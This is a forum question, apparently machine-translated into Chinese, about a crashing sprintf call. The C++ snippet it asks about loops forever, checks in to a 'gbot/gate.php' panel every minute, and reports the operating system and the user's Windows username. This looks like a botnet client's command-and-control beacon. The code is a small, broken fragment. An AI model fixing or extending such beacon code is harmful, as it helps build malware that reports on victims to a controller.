while(true)
{
char *mybuf;
if(getenv("windir") != NULL)
{
//mybuf = "GET /gbot/gate.php?page=ident&os=windows&username=%s\r\n\r\n";
sprintf(mybuf, "GET /gbot/gate.php?page=ident&os=windows&username=%s\r\n\r\n", getenv("username"));
}
else
mybuf = "GET /gbot/gate.php?page=ident&os=linux\r\n\r\n";
send(Socket, mybuf, strlen(mybuf), 0);
char buffer[10000];
recv(Socket, buffer, 10000,0);
cout << buffer;
_sleep(60000);
}
代碼我有此代碼和sprintf崩潰該程序。 我怎樣才能使mybuf,包含用戶名(getenv),而不會崩潰我的項目? Thans很多。C++約GET和sprintf
如果你打開它們,你可能會得到一個警告(多於一個)。 – chris 2013-04-09 22:11:03